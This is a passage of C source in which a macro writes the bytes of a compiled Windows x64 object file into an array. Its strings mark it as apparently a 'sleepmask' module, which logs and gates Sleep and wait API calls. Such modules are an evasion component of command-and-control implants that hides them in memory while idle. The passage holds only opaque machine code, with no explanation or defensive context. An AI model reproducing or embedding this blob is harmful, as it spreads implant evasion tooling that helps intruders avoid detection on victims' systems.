(p)[1848]=0x48; (p)[1849]=0x8B; (p)[1850]=0x48; (p)[1851]=0x30; (p)[1852]=0x48; (p)[1853]=0x8B; (p)[1854]=0x45; (p)[1855]=0x30; \
(p)[1856]=0x48; (p)[1857]=0x8B; (p)[1858]=0x78; (p)[1859]=0x28; (p)[1860]=0x48; (p)[1861]=0x8B; (p)[1862]=0x45; (p)[1863]=0x30; \
(p)[1864]=0x48; (p)[1865]=0x8B; (p)[1866]=0x70; (p)[1867]=0x20; (p)[1868]=0x48; (p)[1869]=0x8B; (p)[1870]=0x45; (p)[1871]=0x30; \
(p)[1872]=0x48; (p)[1873]=0x8B; (p)[1874]=0x50; (p)[1875]=0x18; (p)[1876]=0x48; (p)[1877]=0x8B; (p)[1878]=0x45; (p)[1879]=0x30; \
(p)[1880]=0x48; (p)[1881]=0x8B; (p)[1882]=0x40; (p)[1883]=0x10; (p)[1884]=0x48; (p)[1885]=0x89; (p)[1886]=0x5C; (p)[1887]=0x24; \
(p)[1888]=0x48; (p)[1889]=0x4C; (p)[1890]=0x89; (p)[1891]=0x5C; (p)[1892]=0x24; (p)[1893]=0x40; (p)[1894]=0x4C; (p)[1895]=0x89; \
(p)[1896]=0x54; (p)[1897]=0x24; (p)[1898]=0x38; (p)[1899]=0x4C; (p)[1900]=0x89; (p)[1901]=0x4C; (p)[1902]=0x24; (p)[1903]=0x30; \
(p)[1904]=0x4C; (p)[1905]=0x89; (p)[1906]=0x44; (p)[1907]=0x24; (p)[1908]=0x28; (p)[1909]=0x48; (p)[1910]=0x89; (p)[1911]=0x4C; \
(p)[1912]=0x24; (p)[1913]=0x20; (p)[1914]=0x49; (p)[1915]=0x89; (p)[1916]=0xF9; (p)[1917]=0x49; (p)[1918]=0x89; (p)[1919]=0xF0; \
(p)[1920]=0x48; (p)[1921]=0x89; (p)[1922]=0xC1; (p)[1923]=0x41; (p)[1924]=0xFF; (p)[1925]=0xD4; (p)[1926]=0x48; (p)[1927]=0x8B; \
(p)[1928]=0x55; (p)[1929]=0x30; (p)[1930]=0x48; (p)[1931]=0x89; (p)[1932]=0x42; (p)[1933]=0x60; (p)[1934]=0x90; (p)[1935]=0x90; \
(p)[1936]=0x48; (p)[1937]=0x83; (p)[1938]=0xC4; (p)[1939]=0x50; (p)[1940]=0x5B; (p)[1941]=0x5E; (p)[1942]=0x5F; (p)[1943]=0x41; \
(p)[1944]=0x5C; (p)[1945]=0x5D; (p)[1946]=0xC3; (p)[1947]=0x90; (p)[1948]=0x55; (p)[1949]=0x48; (p)[1950]=0x89; (p)[1951]=0xE5; \
(p)[1952]=0x48; (p)[1953]=0x83; (p)[1954]=0xEC; (p)[1955]=0x20; (p)[1956]=0x48; (p)[1957]=0x89; (p)[1958]=0x4D; (p)[1959]=0x10; \
(p)[1960]=0x48; (p)[1961]=0x89; (p)[1962]=0x55; (p)[1963]=0x18; (p)[1964]=0x48; (p)[1965]=0x8B; (p)[1966]=0x45; (p)[1967]=0x18; \
(p)[1968]=0x4C; (p)[1969]=0x8B; (p)[1970]=0x00; (p)[1971]=0x48; (p)[1972]=0x8B; (p)[1973]=0x45; (p)[1974]=0x18; (p)[1975]=0x8B; \
(p)[1976]=0x50; (p)[1977]=0x0C; (p)[1978]=0x48; (p)[1979]=0x8B; (p)[1980]=0x45; (p)[1981]=0x18; (p)[1982]=0x8B; (p)[1983]=0x40; \
(p)[1984]=0x08; (p)[1985]=0x48; (p)[1986]=0x8D; (p)[1987]=0x0D; (p)[1988]=0x78; (p)[1989]=0x00; (p)[1990]=0x00; (p)[1991]=0x00; \
(p)[1992]=0x4D; (p)[1993]=0x89; (p)[1994]=0xC1; (p)[1995]=0x41; (p)[1996]=0x89; (p)[1997]=0xD0; (p)[1998]=0x89; (p)[1999]=0xC2; \
(p)[2000]=0x48; (p)[2001]=0x8B; (p)[2002]=0x05; (p)[2003]=0x00; (p)[2004]=0x00; (p)[2005]=0x00; (p)[2006]=0x00; (p)[2007]=0xFF; \
(p)[2008]=0xD0; (p)[2009]=0x48; (p)[2010]=0x8B; (p)[2011]=0x45; (p)[2012]=0x18; (p)[2013]=0x8B; (p)[2014]=0x40; (p)[2015]=0x08; \
(p)[2016]=0x83; (p)[2017]=0xF8; (p)[2018]=0x04; (p)[2019]=0x74; (p)[2020]=0x45; (p)[2021]=0x83; (p)[2022]=0xF8; (p)[2023]=0x04; \
(p)[2024]=0x77; (p)[2025]=0x4E; (p)[2026]=0x83; (p)[2027]=0xF8; (p)[2028]=0x03; (p)[2029]=0x74; (p)[2030]=0x2D; (p)[2031]=0x83; \
(p)[2032]=0xF8; (p)[2033]=0x03; (p)[2034]=0x77; (p)[2035]=0x44; (p)[2036]=0x83; (p)[2037]=0xF8; (p)[2038]=0x01; (p)[2039]=0x74; \
(p)[2040]=0x07; (p)[2041]=0x83; (p)[2042]=0xF8; (p)[2043]=0x02; (p)[2044]=0x74; (p)[2045]=0x10; (p)[2046]=0xEB; (p)[2047]=0x38; \
(p)[2048]=0x48; (p)[2049]=0x8B; (p)[2050]=0x45; (p)[2051]=0x18; (p)[2052]=0x48; (p)[2053]=0x89; (p)[2054]=0xC1; (p)[2055]=0xE8; \
(p)[2056]=0x20; (p)[2057]=0xF9; (p)[2058]=0xFF; (p)[2059]=0xFF; (p)[2060]=0xEB; (p)[2061]=0x37; (p)[2062]=0x48; (p)[2063]=0x8B; \
(p)[2064]=0x45; (p)[2065]=0x18; (p)[2066]=0x48; (p)[2067]=0x89; (p)[2068]=0xC1; (p)[2069]=0xE8; (p)[2070]=0xB9; (p)[2071]=0xF9; \
(p)[2072]=0xFF; (p)[2073]=0xFF; (p)[2074]=0xEB; (p)[2075]=0x29; (p)[2076]=0x48; (p)[2077]=0x8B; (p)[2078]=0x45; (p)[2079]=0x18; \
(p)[2080]=0x48; (p)[2081]=0x89; (p)[2082]=0xC1; (p)[2083]=0xE8; (p)[2084]=0x2D; (p)[2085]=0xFA; (p)[2086]=0xFF; (p)[2087]=0xFF; \
(p)[2088]=0xEB; (p)[2089]=0x1B; (p)[2090]=0x48; (p)[2091]=0x8B; (p)[2092]=0x45; (p)[2093]=0x18; (p)[2094]=0x48; (p)[2095]=0x89; \
(p)[2096]=0xC1; (p)[2097]=0xE8; (p)[2098]=0xAA; (p)[2099]=0xFA; (p)[2100]=0xFF; (p)[2101]=0xFF; (p)[2102]=0xEB; (p)[2103]=0x0D; \
(p)[2104]=0x48; (p)[2105]=0x8B; (p)[2106]=0x45; (p)[2107]=0x18; (p)[2108]=0x48; (p)[2109]=0x89; (p)[2110]=0xC1; (p)[2111]=0xE8; \
(p)[2112]=0x10; (p)[2113]=0xFB; (p)[2114]=0xFF; (p)[2115]=0xFF; (p)[2116]=0x90; (p)[2117]=0x48; (p)[2118]=0x83; (p)[2119]=0xC4; \
(p)[2120]=0x20; (p)[2121]=0x5D; (p)[2122]=0xC3; (p)[2123]=0x90; (p)[2124]=0x5B; (p)[2125]=0x73; (p)[2126]=0x6C; (p)[2127]=0x65; \
(p)[2128]=0x65; (p)[2129]=0x70; (p)[2130]=0x6D; (p)[2131]=0x61; (p)[2132]=0x73; (p)[2133]=0x6B; (p)[2134]=0x5D; (p)[2135]=0x20; \
(p)[2136]=0x53; (p)[2137]=0x6C; (p)[2138]=0x65; (p)[2139]=0x65; (p)[2140]=0x70; (p)[2141]=0x28; (p)[2142]=0x25; (p)[2143]=0x6C; \
(p)[2144]=0x75; (p)[2145]=0x20; (p)[2146]=0x6D; (p)[2147]=0x73; (p)[2148]=0x29; (p)[2149]=0x0A; (p)[2150]=0x00; (p)[2151]=0x00; \
(p)[2152]=0x00; (p)[2153]=0x00; (p)[2154]=0x00; (p)[2155]=0x00; (p)[2156]=0x5B; (p)[2157]=0x73; (p)[2158]=0x6C; (p)[2159]=0x65; \
(p)[2160]=0x65; (p)[2161]=0x70; (p)[2162]=0x6D; (p)[2163]=0x61; (p)[2164]=0x73; (p)[2165]=0x6B; (p)[2166]=0x5D; (p)[2167]=0x20; \
(p)[2168]=0x57; (p)[2169]=0x46; (p)[2170]=0x53; (p)[2171]=0x4F; (p)[2172]=0x28; (p)[2173]=0x68; (p)[2174]=0x61; (p)[2175]=0x6E; \
(p)[2176]=0x64; (p)[2177]=0x6C; (p)[2178]=0x65; (p)[2179]=0x3D; (p)[2180]=0x25; (p)[2181]=0x70; (p)[2182]=0x20; (p)[2183]=0x6D; \
(p)[2184]=0x73; (p)[2185]=0x3D; (p)[2186]=0x25; (p)[2187]=0x6C; (p)[2188]=0x75; (p)[2189]=0x29; (p)[2190]=0x0A; (p)[2191]=0x00; \
(p)[2192]=0x00; (p)[2193]=0x00; (p)[2194]=0x00; (p)[2195]=0x00; (p)[2196]=0x5B; (p)[2197]=0x73; (p)[2198]=0x6C; (p)[2199]=0x65; \
(p)[2200]=0x65; (p)[2201]=0x70; (p)[2202]=0x6D; (p)[2203]=0x61; (p)[2204]=0x73; (p)[2205]=0x6B; (p)[2206]=0x5D; (p)[2207]=0x20; \
(p)[2208]=0x57; (p)[2209]=0x46; (p)[2210]=0x4D; (p)[2211]=0x4F; (p)[2212]=0x28; (p)[2213]=0x6E; (p)[2214]=0x3D; (p)[2215]=0x25; \
(p)[2216]=0x6C; (p)[2217]=0x75; (p)[2218]=0x20; (p)[2219]=0x77; (p)[2220]=0x61; (p)[2221]=0x69; (p)[2222]=0x74; (p)[2223]=0x41; \
(p)[2224]=0x6C; (p)[2225]=0x6C; (p)[2226]=0x3D; (p)[2227]=0x25; (p)[2228]=0x64; (p)[2229]=0x20; (p)[2230]=0x6D; (p)[2231]=0x73; \
(p)[2232]=0x3D; (p)[2233]=0x25; (p)[2234]=0x6C; (p)[2235]=0x75; (p)[2236]=0x29; (p)[2237]=0x0A; (p)[2238]=0x00; (p)[2239]=0x00; \
(p)[2240]=0x00; (p)[2241]=0x00; (p)[2242]=0x00; (p)[2243]=0x00; (p)[2244]=0x5B; (p)[2245]=0x73; (p)[2246]=0x6C; (p)[2247]=0x65; \
(p)[2248]=0x65; (p)[2249]=0x70; (p)[2250]=0x6D; (p)[2251]=0x61; (p)[2252]=0x73; (p)[2253]=0x6B; (p)[2254]=0x5D; (p)[2255]=0x20; \
(p)[2256]=0x47; (p)[2257]=0x61; (p)[2258]=0x74; (p)[2259]=0x65; (p)[2260]=0x41; (p)[2261]=0x70; (p)[2262]=0x69; (p)[2263]=0x3D; \
(p)[2264]=0x30; (p)[2265]=0x78; (p)[2266]=0x25; (p)[2267]=0x30; (p)[2268]=0x32; (p)[2269]=0x78; (p)[2270]=0x20; (p)[2271]=0x4E; \
(p)[2272]=0x75; (p)[2273]=0x6D; (p)[2274]=0x41; (p)[2275]=0x72; (p)[2276]=0x67; (p)[2277]=0x73; (p)[2278]=0x3D; (p)[2279]=0x25; \
(p)[2280]=0x6C; (p)[2281]=0x75; (p)[2282]=0x20; (p)[2283]=0x46; (p)[2284]=0x75; (p)[2285]=0x6E; (p)[2286]=0x63; (p)[2287]=0x74; \
(p)[2288]=0x69; (p)[2289]=0x6F; (p)[2290]=0x6E; (p)[2291]=0x50; (p)[2292]=0x74; (p)[2293]=0x72; (p)[2294]=0x3D; (p)[2295]=0x25; \
(p)[2296]=0x70; (p)[2297]=0x0A; (p)[2298]=0x00; (p)[2299]=0x00; (p)[2300]=0x01; (p)[2301]=0x08; (p)[2302]=0x03; (p)[2303]=0x05; \
(p)[2304]=0x08; (p)[2305]=0x92; (p)[2306]=0x04; (p)[2307]=0x03; (p)[2308]=0x01; (p)[2309]=0x50; (p)[2310]=0x00; (p)[2311]=0x00; \
(p)[2312]=0x01; (p)[2313]=0x08; (p)[2314]=0x03; (p)[2315]=0x05; (p)[2316]=0x08; (p)[2317]=0x72; (p)[2318]=0x04; (p)[2319]=0x03; \
(p)[2320]=0x01; (p)[2321]=0x50; (p)[2322]=0x00; (p)[2323]=0x00; (p)[2324]=0x01; (p)[2325]=0x08; (p)[2326]=0x03; (p)[2327]=0x05; \
(p)[2328]=0x08; (p)[2329]=0x52; (p)[2330]=0x04; (p)[2331]=0x03; (p)[2332]=0x01; (p)[2333]=0x50; (p)[2334]=0x00; (p)[2335]=0x00; \
(p)[2336]=0x01; (p)[2337]=0x08; (p)[2338]=0x03; (p)[2339]=0x05; (p)[2340]=0x08; (p)[2341]=0x92; (p)[2342]=0x04; (p)[2343]=0x03; \
(p)[2344]=0x01; (p)[2345]=0x50; (p)[2346]=0x00; (p)[2347]=0x00; (p)[2348]=0x01; (p)[2349]=0x0F; (p)[2350]=0x07; (p)[2351]=0x55; \
(p)[2352]=0x0F; (p)[2353]=0x03; (p)[2354]=0x0A; (p)[2355]=0x92; (p)[2356]=0x06; (p)[2357]=0x30; (p)[2358]=0x05; (p)[2359]=0x60; \
(p)[2360]=0x04; (p)[2361]=0x70; (p)[2362]=0x03; (p)[2363]=0xC0; (p)[2364]=0x01; (p)[2365]=0x50; (p)[2366]=0x00; (p)[2367]=0x00; \
(p)[2368]=0x01; (p)[2369]=0x08; (p)[2370]=0x03; (p)[2371]=0x05; (p)[2372]=0x08; (p)[2373]=0x32; (p)[2374]=0x04; (p)[2375]=0x03; \
(p)[2376]=0x01; (p)[2377]=0x50; (p)[2378]=0x00; (p)[2379]=0x00; (p)[2380]=0x00; (p)[2381]=0x00; (p)[2382]=0x00; (p)[2383]=0x00; \
(p)[2384]=0xA7; (p)[2385]=0x00; (p)[2386]=0x00; (p)[2387]=0x00; (p)[2388]=0x00; (p)[2389]=0x00; (p)[2390]=0x00; (p)[2391]=0x00; \
(p)[2392]=0xA7; (p)[2393]=0x00; (p)[2394]=0x00; (p)[2395]=0x00; (p)[2396]=0x29; (p)[2397]=0x01; (p)[2398]=0x00; (p)[2399]=0x00; \
(p)[2400]=0x0C; (p)[2401]=0x00; (p)[2402]=0x00; (p)[2403]=0x00; (p)[2404]=0x29; (p)[2405]=0x01; (p)[2406]=0x00; (p)[2407]=0x00; \
(p)[2408]=0xB4; (p)[2409]=0x01; (p)[2410]=0x00; (p)[2411]=0x00; (p)[2412]=0x18; (p)[2413]=0x00; (p)[2414]=0x00; (p)[2415]=0x00; \
(p)[2416]=0xB4; (p)[2417]=0x01; (p)[2418]=0x00; (p)[2419]=0x00; (p)[2420]=0x28; (p)[2421]=0x02; (p)[2422]=0x00; (p)[2423]=0x00; \
(p)[2424]=0x24; (p)[2425]=0x00; (p)[2426]=0x00; (p)[2427]=0x00; (p)[2428]=0x28; (p)[2429]=0x02; (p)[2430]=0x00; (p)[2431]=0x00; \
(p)[2432]=0x6F; (p)[2433]=0x06; (p)[2434]=0x00; (p)[2435]=0x00; (p)[2436]=0x30; (p)[2437]=0x00; (p)[2438]=0x00; (p)[2439]=0x00; \
(p)[2440]=0x70; (p)[2441]=0x06; (p)[2442]=0x00; (p)[2443]=0x00; (p)[2444]=0x1F; (p)[2445]=0x07; (p)[2446]=0x00; (p)[2447]=0x00; \
(p)[2448]=0x44; (p)[2449]=0x00; (p)[2450]=0x00; (p)[2451]=0x00; (p)[2452]=0x47; (p)[2453]=0x43; (p)[2454]=0x43; (p)[2455]=0x3A; \
(p)[2456]=0x20; (p)[2457]=0x28; (p)[2458]=0x47; (p)[2459]=0x4E; (p)[2460]=0x55; (p)[2461]=0x29; (p)[2462]=0x20; (p)[2463]=0x31; \
(p)[2464]=0x35; (p)[2465]=0x2D; (p)[2466]=0x77; (p)[2467]=0x69; (p)[2468]=0x6E; (p)[2469]=0x33; (p)[2470]=0x32; (p)[2471]=0x00; \
(p)[2472]=0x00; (p)[2473]=0x00; (p)[2474]=0x00; (p)[2475]=0x00; (p)[2476]=0x00; (p)[2477]=0x00; (p)[2478]=0x00; (p)[2479]=0x00; \
(p)[2480]=0x00; (p)[2481]=0x00; (p)[2482]=0x00; (p)[2483]=0x00; (p)[2484]=0x1D; (p)[2485]=0x00; (p)[2486]=0x00; (p)[2487]=0x00; \
(p)[2488]=0x14; (p)[2489]=0x00; (p)[2490]=0x00; (p)[2491]=0x00; (p)[2492]=0x04; (p)[2493]=0x00; (p)[2494]=0x26; (p)[2495]=0x00; \
(p)[2496]=0x00; (p)[2497]=0x00; (p)[2498]=0x1C; (p)[2499]=0x00; (p)[2500]=0x00; (p)[2501]=0x00; (p)[2502]=0x04; (p)[2503]=0x00; \
(p)[2504]=0x57; (p)[2505]=0x00; (p)[2506]=0x00; (p)[2507]=0x00; (p)[2508]=0x1D; (p)[2509]=0x00; (p)[2510]=0x00; (p)[2511]=0x00; \
(p)[2512]=0x04; (p)[2513]=0x00; (p)[2514]=0x8A; (p)[2515]=0x00; (p)[2516]=0x00; (p)[2517]=0x00; (p)[2518]=0x1E; (p)[2519]=0x00; \
(p)[2520]=0x00; (p)[2521]=0x00; (p)[2522]=0x04; (p)[2523]=0x00; (p)[2524]=0x9A; (p)[2525]=0x00; (p)[2526]=0x00; (p)[2527]=0x00; \
(p)[2528]=0x1F; (p)[2529]=0x00; (p)[2530]=0x00; (p)[2531]=0x00; (p)[2532]=0x04; (p)[2533]=0x00; (p)[2534]=0xD4; (p)[2535]=0x00; \
(p)[2536]=0x00; (p)[2537]=0x00; (p)[2538]=0x14; (p)[2539]=0x00; (p)[2540]=0x00; (p)[2541]=0x00; (p)[2542]=0x04; (p)[2543]=0x00; \
(p)[2544]=0xE1; (p)[2545]=0x00; (p)[2546]=0x00; (p)[2547]=0x00; (p)[2548]=0x1C; (p)[2549]=0x00; (p)[2550]=0x00; (p)[2551]=0x00; \
(p)[2552]=0x04; (p)[2553]=0x00; (p)[2554]=0x0B; (p)[2555]=0x01; (p)[2556]=0x00; (p)[2557]=0x00; (p)[2558]=0x1E; (p)[2559]=0x00; \
(p)[2560]=0x00; (p)[2561]=0x00; (p)[2562]=0x04; (p)[2563]=0x00; (p)[2564]=0x5B; (p)[2565]=0x01; (p)[2566]=0x00; (p)[2567]=0x00; \
(p)[2568]=0x14; (p)[2569]=0x00; (p)[2570]=0x00; (p)[2571]=0x00; (p)[2572]=0x04; (p)[2573]=0x00; (p)[2574]=0x6A; (p)[2575]=0x01; \
(p)[2576]=0x00; (p)[2577]=0x00; (p)[2578]=0x1C; (p)[2579]=0x00; (p)[2580]=0x00; (p)[2581]=0x00; (p)[2582]=0x04; (p)[2583]=0x00; \
(p)[2584]=0x99; (p)[2585]=0x01; (p)[2586]=0x00; (p)[2587]=0x00; (p)[2588]=0x20; (p)[2589]=0x00; (p)[2590]=0x00; (p)[2591]=0x00; \
(p)[2592]=0x04; (p)[2593]=0x00; (p)[2594]=0x0A; (p)[2595]=0x02; (p)[2596]=0x00; (p)[2597]=0x00; (p)[2598]=0x21; (p)[2599]=0x00; \
(p)[2600]=0x00; (p)[2601]=0x00; (p)[2602]=0x04; (p)[2603]=0x00; (p)[2604]=0x98; (p)[2605]=0x06; (p)[2606]=0x00; (p)[2607]=0x00; \
(p)[2608]=0x14; (p)[2609]=0x00; (p)[2610]=0x00; (p)[2611]=0x00; (p)[2612]=0x04; (p)[2613]=0x00; (p)[2614]=0xA7; (p)[2615]=0x06; \
(p)[2616]=0x00; (p)[2617]=0x00; (p)[2618]=0x1C; (p)[2619]=0x00; (p)[2620]=0x00; (p)[2621]=0x00; (p)[2622]=0x04; (p)[2623]=0x00; \
(p)[2624]=0x00; (p)[2625]=0x00; (p)[2626]=0x00; (p)[2627]=0x00; (p)[2628]=0x0E; (p)[2629]=0x00; (p)[2630]=0x00; (p)[2631]=0x00; \
(p)[2632]=0x03; (p)[2633]=0x00; (p)[2634]=0x04; (p)[2635]=0x00; (p)[2636]=0x00; (p)[2637]=0x00; (p)[2638]=0x0E; (p)[2639]=0x00; \
(p)[2640]=0x00; (p)[2641]=0x00; (p)[2642]=0x03; (p)[2643]=0x00; (p)[2644]=0x08; (p)[2645]=0x00; (p)[2646]=0x00; (p)[2647]=0x00; \
(p)[2648]=0x16; (p)[2649]=0x00; (p)[2650]=0x00; (p)[2651]=0x00; (p)[2652]=0x03; (p)[2653]=0x00; (p)[2654]=0x0C; (p)[2655]=0x00; \
(p)[2656]=0x00; (p)[2657]=0x00; (p)[2658]=0x0E; (p)[2659]=0x00; (p)[2660]=0x00; (p)[2661]=0x00; (p)[2662]=0x03; (p)[2663]=0x00; \
(p)[2664]=0x10; (p)[2665]=0x00; (p)[2666]=0x00; (p)[2667]=0x00; (p)[2668]=0x0E; (p)[2669]=0x00; (p)[2670]=0x00; (p)[2671]=0x00; \
(p)[2672]=0x03; (p)[2673]=0x00; (p)[2674]=0x14; (p)[2675]=0x00; (p)[2676]=0x00; (p)[2677]=0x00; (p)[2678]=0x16; (p)[2679]=0x00; \
(p)[2680]=0x00; (p)[2681]=0x00; (p)[2682]=0x03; (p)[2683]=0x00; (p)[2684]=0x18; (p)[2685]=0x00; (p)[2686]=0x00; (p)[2687]=0x00; \
(p)[2688]=0x0E; (p)[2689]=0x00; (p)[2690]=0x00; (p)[2691]=0x00; (p)[2692]=0x03; (p)[2693]=0x00; (p)[2694]=0x1C; (p)[2695]=0x00; \
(p)[2696]=0x00; (p)[2697]=0x00; (p)[2698]=0x0E; (p)[2699]=0x00; (p)[2700]=0x00; (p)[2701]=0x00; (p)[2702]=0x03; (p)[2703]=0x00; \
(p)[2704]=0x20; (p)[2705]=0x00; (p)[2706]=0x00; (p)[2707]=0x00; (p)[2708]=0x16; (p)[2709]=0x00; (p)[2710]=0x00; (p)[2711]=0x00; \
(p)[2712]=0x03; (p)[2713]=0x00; (p)[2714]=0x24; (p)[2715]=0x00; (p)[2716]=0x00; (p)[2717]=0x00; (p)[2718]=0x0E; (p)[2719]=0x00; \
(p)[2720]=0x00; (p)[2721]=0x00; (p)[2722]=0x03; (p)[2723]=0x00; (p)[2724]=0x28; (p)[2725]=0x00; (p)[2726]=0x00; (p)[2727]=0x00; \
(p)[2728]=0x0E; (p)[2729]=0x00; (p)[2730]=0x00; (p)[2731]=0x00; (p)[2732]=0x03; (p)[2733]=0x00; (p)[2734]=0x2C; (p)[2735]=0x00; \
(p)[2736]=0x00; (p)[2737]=0x00; (p)[2738]=0x16; (p)[2739]=0x00; (p)[2740]=0x00; (p)[2741]=0x00; (p)[2742]=0x03; (p)[2743]=0x00; \
(p)[2744]=0x30; (p)[2745]=0x00; (p)[2746]=0x00; (p)[2747]=0x00; (p)[2748]=0x0E; (p)[2749]=0x00; (p)[2750]=0x00; (p)[2751]=0x00; \
(p)[2752]=0x03; (p)[2753]=0x00; (p)[2754]=0x34; (p)[2755]=0x00; (p)[2756]=0x00; (p)[2757]=0x00; (p)[2758]=0x0E; (p)[2759]=0x00; \
(p)[2760]=0x00; (p)[2761]=0x00; (p)[2762]=0x03; (p)[2763]=0x00; (p)[2764]=0x38; (p)[2765]=0x00; (p)[2766]=0x00; (p)[2767]=0x00; \
(p)[2768]=0x16; (p)[2769]=0x00; (p)[2770]=0x00; (p)[2771]=0x00; (p)[2772]=0x03; (p)[2773]=0x00; (p)[2774]=0x3C; (p)[2775]=0x00; \
(p)[2776]=0x00; (p)[2777]=0x00; (p)[2778]=0x0E; (p)[2779]=0x00; (p)[2780]=0x00; (p)[2781]=0x00; (p)[2782]=0x03; (p)[2783]=0x00; \
(p)[2784]=0x40; (p)[2785]=0x00; (p)[2786]=0x00; (p)[2787]=0x00; (p)[2788]=0x0E; (p)[2789]=0x00; (p)[2790]=0x00; (p)[2791]=0x00; \
(p)[2792]=0x03; (p)[2793]=0x00; (p)[2794]=0x44; (p)[2795]=0x00; (p)[2796]=0x00; (p)[2797]=0x00; (p)[2798]=0x16; (p)[2799]=0x00; \
(p)[2800]=0x00; (p)[2801]=0x00; (p)[2802]=0x03; (p)[2803]=0x00; (p)[2804]=0x2E; (p)[2805]=0x66; (p)[2806]=0x69; (p)[2807]=0x6C; \
(p)[2808]=0x65; (p)[2809]=0x00; (p)[2810]=0x00; (p)[2811]=0x00; (p)[2812]=0x00; (p)[2813]=0x00; (p)[2814]=0x00; (p)[2815]=0x00; \
(p)[2816]=0xFE; (p)[2817]=0xFF; (p)[2818]=0x00; (p)[2819]=0x00; (p)[2820]=0x67; (p)[2821]=0x01; (p)[2822]=0x6D; (p)[2823]=0x61; \
(p)[2824]=0x69; (p)[2825]=0x6E; (p)[2826]=0x2E; (p)[2827]=0x63; (p)[2828]=0x00; (p)[2829]=0x00; (p)[2830]=0x00; (p)[2831]=0x00; \
(p)[2832]=0x00; (p)[2833]=0x00; (p)[2834]=0x00; (p)[2835]=0x00; (p)[2836]=0x00; (p)[2837]=0x00; (p)[2838]=0x00; (p)[2839]=0x00; \
(p)[2840]=0x00; (p)[2841]=0x00; (p)[2842]=0x00; (p)[2843]=0x00; (p)[2844]=0x0F; (p)[2845]=0x00; (p)[2846]=0x00; (p)[2847]=0x00; \
(p)[2848]=0x00; (p)[2849]=0x00; (p)[2850]=0x00; (p)[2851]=0x00; (p)[2852]=0x01; (p)[2853]=0x00; (p)[2854]=0x20; (p)[2855]=0x00; \
(p)[2856]=0x03; (p)[2857]=0x01; (p)[2858]=0x00; (p)[2859]=0x00; (p)[2860]=0x00; (p)[2861]=0x00; (p)[2862]=0x00; (p)[2863]=0x00; \
(p)[2864]=0x00; (p)[2865]=0x00; (p)[2866]=0x00; (p)[2867]=0x00; (p)[2868]=0x00; (p)[2869]=0x00; (p)[2870]=0x04; (p)[2871]=0x00; \
(p)[2872]=0x00; (p)[2873]=0x00; (p)[2874]=0x00; (p)[2875]=0x00; (p)[2876]=0x00; (p)[2877]=0x00; (p)[2878]=0x00; (p)[2879]=0x00; \
(p)[2880]=0x1B; (p)[2881]=0x00; (p)[2882]=0x00; (p)[2883]=0x00; (p)[2884]=0xA7; (p)[2885]=0x00; (p)[2886]=0x00; (p)[2887]=0x00; \
(p)[2888]=0x01; (p)[2889]=0x00; (p)[2890]=0x20; (p)[2891]=0x00; (p)[2892]=0x03; (p)[2893]=0x01; (p)[2894]=0x00; (p)[2895]=0x00; \
(p)[2896]=0x00; (p)[2897]=0x00; (p)[2898]=0x00; (p)[2899]=0x00; (p)[2900]=0x00; (p)[2901]=0x00; (p)[2902]=0x00; (p)[2903]=0x00; \
(p)[2904]=0x00; (p)[2905]=0x00; (p)[2906]=0x06; (p)[2907]=0x00; (p)[2908]=0x00; (p)[2909]=0x00; (p)[2910]=0x00; (p)[2911]=0x00; \
(p)[2912]=0x00; (p)[2913]=0x00; (p)[2914]=0x00; (p)[2915]=0x00; (p)[2916]=0x35; (p)[2917]=0x00; (p)[2918]=0x00; (p)[2919]=0x00; \
(p)[2920]=0x29; (p)[2921]=0x01; (p)[2922]=0x00; (p)[2923]=0x00; (p)[2924]=0x01; (p)[2925]=0x00; (p)[2926]=0x20; (p)[2927]=0x00; \
(p)[2928]=0x03; (p)[2929]=0x01; (p)[2930]=0x00; (p)[2931]=0x00; (p)[2932]=0x00; (p)[2933]=0x00; (p)[2934]=0x00; (p)[2935]=0x00; \
(p)[2936]=0x00; (p)[2937]=0x00; (p)[2938]=0x00; (p)[2939]=0x00; (p)[2940]=0x00; (p)[2941]=0x00; (p)[2942]=0x08; (p)[2943]=0x00; \
(p)[2944]=0x00; (p)[2945]=0x00; (p)[2946]=0x00; (p)[2947]=0x00; (p)[2948]=0x00; (p)[2949]=0x00; (p)[2950]=0x00; (p)[2951]=0x00; \
(p)[2952]=0x52; (p)[2953]=0x00; (p)[2954]=0x00; (p)[2955]=0x00; (p)[2956]=0xB4; (p)[2957]=0x01; (p)[2958]=0x00; (p)[2959]=0x00; \
(p)[2960]=0x01; (p)[2961]=0x00; (p)[2962]=0x20; (p)[2963]=0x00; (p)[2964]=0x03; (p)[2965]=0x01; (p)[2966]=0x00; (p)[2967]=0x00; \
(p)[2968]=0x00; (p)[2969]=0x00; (p)[2970]=0x00; (p)[2971]=0x00; (p)[2972]=0x00; (p)[2973]=0x00; (p)[2974]=0x00; (p)[2975]=0x00; \
(p)[2976]=0x00; (p)[2977]=0x00; (p)[2978]=0x0A; (p)[2979]=0x00; (p)[2980]=0x00; (p)[2981]=0x00; (p)[2982]=0x00; (p)[2983]=0x00; \
(p)[2984]=0x00; (p)[2985]=0x00; (p)[2986]=0x00; (p)[2987]=0x00; (p)[2988]=0x67; (p)[2989]=0x00; (p)[2990]=0x00; (p)[2991]=0x00; \
(p)[2992]=0x28; (p)[2993]=0x02; (p)[2994]=0x00; (p)[2995]=0x00; (p)[2996]=0x01; (p)[2997]=0x00; (p)[2998]=0x20; (p)[2999]=0x00; \
(p)[3000]=0x03; (p)[3001]=0x01; (p)[3002]=0x00; (p)[3003]=0x00; (p)[3004]=0x00; (p)[3005]=0x00; (p)[3006]=0x00; (p)[3007]=0x00; \
(p)[3008]=0x00; (p)[3009]=0x00; (p)[3010]=0x00; (p)[3011]=0x00; (p)[3012]=0x00; (p)[3013]=0x00; (p)[3014]=0x0C; (p)[3015]=0x00; \
(p)[3016]=0x00; (p)[3017]=0x00; (p)[3018]=0x00; (p)[3019]=0x00; (p)[3020]=0x00; (p)[3021]=0x00; (p)[3022]=0x00; (p)[3023]=0x00; \
(p)[3024]=0x75; (p)[3025]=0x00; (p)[3026]=0x00; (p)[3027]=0x00; (p)[3028]=0x70; (p)[3029]=0x06; (p)[3030]=0x00; (p)[3031]=0x00; \
(p)[3032]=0x01; (p)[3033]=0x00; (p)[3034]=0x20; (p)[3035]=0x00; (p)[3036]=0x02; (p)[3037]=0x01; (p)[3038]=0x00; (p)[3039]=0x00; \
(p)[3040]=0x00; (p)[3041]=0x00; (p)[3042]=0x00; (p)[3043]=0x00; (p)[3044]=0x00; (p)[3045]=0x00; (p)[3046]=0x00; (p)[3047]=0x00; \
